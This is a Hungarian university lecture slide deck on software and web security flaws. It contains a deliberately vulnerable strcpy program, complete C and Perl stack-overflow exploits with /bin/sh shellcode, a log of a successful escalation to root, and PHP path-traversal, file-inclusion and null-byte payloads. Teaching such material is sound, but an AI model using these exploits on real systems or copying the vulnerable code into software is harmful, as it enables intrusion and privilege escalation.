számítógépes hálózatok ii
Post on 27-Jan-2016
35 Views
Preview:
DESCRIPTION
TRANSCRIPT
Széchenyi Isván Egyetem Számítógépes hálózatok II
1
Számítógépes Hálózatok II
Széchenyi István Egyetem
Széchenyi Isván Egyetem Számítógépes hálózatok II
2
Programhibák
• Környezeti változó
• Temp fájl/könyvtár hibás kezelése
• I/O hiba
A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét
Széchenyi Isván Egyetem Számítógépes hálózatok II
3
I/O kezelés
• Ellenőrzött INPUT!!
• Ellenőrzött OUTPUT!!
• Input adat megfelelő kezelése,memóriában való mozgatása
Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai
Széchenyi Isván Egyetem Számítógépes hálózatok II
4
Stack Overflow
• Hiba alapja a nem megfelelő memóriamozgatás
• Segítségével bármilyen kód végrehajtható
• Kihasználásához speciális körülmények szükségesek
A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben.Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával
Széchenyi Isván Egyetem Számítógépes hálózatok II
5
Stack Overlow alapok
• Memória felépítés (Verem,kód,adat szegmens)• Verem felépítése,működése (LIFO)• Milyen adatok vannak a veremben?
• átmeneti adatok• környezeti változók, paraméterek• rendszerváltozók• ugrási táblázatok….
Széchenyi Isván Egyetem Számítógépes hálózatok II
6
Széchenyi Isván Egyetem Számítógépes hálózatok II
7
Fontosabb regiszterek
• ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat)
• EBP (függvények helyi változói,paraméterek,visszatérési cím(!!))
• EIP (köv. végrehajtandó byte(!!))
A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket
Széchenyi Isván Egyetem Számítógépes hálózatok II
8
Hiba kihasználása
• Etikus/etikátlan
• Shellcode (kritériumok)
• Esély növelése (NOP)
Széchenyi Isván Egyetem Számítógépes hálózatok II
9
Hackeljünk!
Széchenyi Isván Egyetem Számítógépes hálózatok II
10
Hibás példaprogram#include <stdio.h>int main(int argc,char **argv){
char buf[256]; if(argc < 2) {
printf("Usage: %s <overflowbuffer>\n",argv[0]);exit(-1); }
strcpy(buf,argv[1]); /* Boooom */} }
Széchenyi Isván Egyetem Számítógépes hálózatok II
11
/* c0dEd bY Depth fR0m HB S3CurTy tEAm*/#include<stdio.h>#include<stdlib.h>
#define NOP 0x90#define LEN 2048#define RET 0xbffff000 //0xbffffd18
int main(int argc, char **argv){char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„"\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„"\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
char buffer[LEN];long addr = RET;int i;addr+=atoi(argv[1]);for(i=0;i<(LEN - sizeof(shellcode));i++){
*(buffer+i)=NOP;}for(i=0;i<300;i+=4){
*(long *)&buffer[i]= addr;}memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode));execl("./test1","HBST exploit",buffer,0);return 0;
}
Biztonsági Audit C nyelven
Széchenyi Isván Egyetem Számítógépes hálózatok II
12
Biztonsági Audit Perl Nyelven#!/usr/bin/perl# Coded By Depth from HB Security Team
$shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c";$shellcode .="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d";$shellcode .= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde";$shellcode .= "\xff\xff\xff/bin/sh";
$nop= "\x90";$ret= 0xbffff000; $len=2048;$new_ret=pack("l",($ret + $ARGV[0]));for ($i=0; $i<$len; $i+=4) {
$buffer .= $new_ret;}
for($i=0;$i< $len - length($shellcode)-100;$i++){$buffer .= $nop;}
$buffer .= $shellcode;exec("./test1",$buffer,0);
Széchenyi Isván Egyetem Számítógépes hálózatok II
13
Hiba kihasználásasrv-halx:/tmp$ iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)srv-halx:/tmp$ for i in `seq 200 500`;do ./expl1.pl $i;done…………………………Trace/breakpoint trapIllegal instructionSegmentation faultIllegal instructionTrace/breakpoint trapIllegal instructionIllegal instructionIllegal instructionTrace/breakpoint trapIllegal instructionsh-2.05a# iduid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)sh-2.05a#
Széchenyi Isván Egyetem Számítógépes hálózatok II
14
Webes biztonság
Problémák:• Nagy, összetett rendszerek• Nem ellenőrzött INPUT• Nem megfelelő jogosultságok• Biztonság alapvető hiánya
A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók
Széchenyi Isván Egyetem Számítógépes hálózatok II
15
Könyvtárak, fájlok hibás kezelése I
Legegyszerűbb eset:www.akarmi.hu/index.php?fajl=adatok.txt
<?php ….fopen($HTTP_GET_VARS['fajl'], "a");……?>
Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nekJoga van.
Széchenyi Isván Egyetem Számítógépes hálózatok II
16
Könyvtárak, fájlok hibás kezelése II
Kicsit „biztonságosabb” eset:www.akarmi.hu/index.php?fajl=adatok.txt
<?php
$file = '/var/www/'.$HTTP_GET_VARS['fajl];fopen($file, "a");
?>
www.akarmi.hu/index.php?fajl=../../file_amit_akarok
Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése
Széchenyi Isván Egyetem Számítógépes hálózatok II
17
Könyvtárak, fájlok hibás kezelése III
<?php
$grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']);$file = '/files/include/'.$grep_file;fopen($file, "a");
?>
Preg_replace() függvény kiszűri a ../ karaktereket a fájlnévből.
Trükk:…/…//…/…//file_amit_akarok
Átalakítás:.../ -> .…// -> ./
Széchenyi Isván Egyetem Számítógépes hálózatok II
18
Saját script futtatása
Probléma:
www.akarmi.hu/index.php?inc_text=oldal.php
A probléma kihasználásának feltételei:
• egy szerver, melyen nincs php futtatási lehetőség• saját script
Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségévelAkár Adminisztrátori szintre is lehet törni a célszervert.
Széchenyi Isván Egyetem Számítógépes hálózatok II
19
NULL byte
• Hexában %00
• Mit jelenthet? (gondoljunk a C programozásra)
Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni:<?php$file = $HTTP_GET_VARS['fajl'];$file = $file.'.txt';fopen($file, 'r');?>
www.valami.hu/index.php?fajl=adatok.txtindex.php%00.txt // index.php forrása!!
Széchenyi Isván Egyetem Számítógépes hálózatok II
20
Befejezés?
• Törekedjünk legalább a minimális biztonságra
• A lista nem teljes…
• Biztos, hogy hozzánk nem törtek be?
Széchenyi Isván Egyetem Számítógépes hálózatok II
21
Köszönöm a figyelmet
top related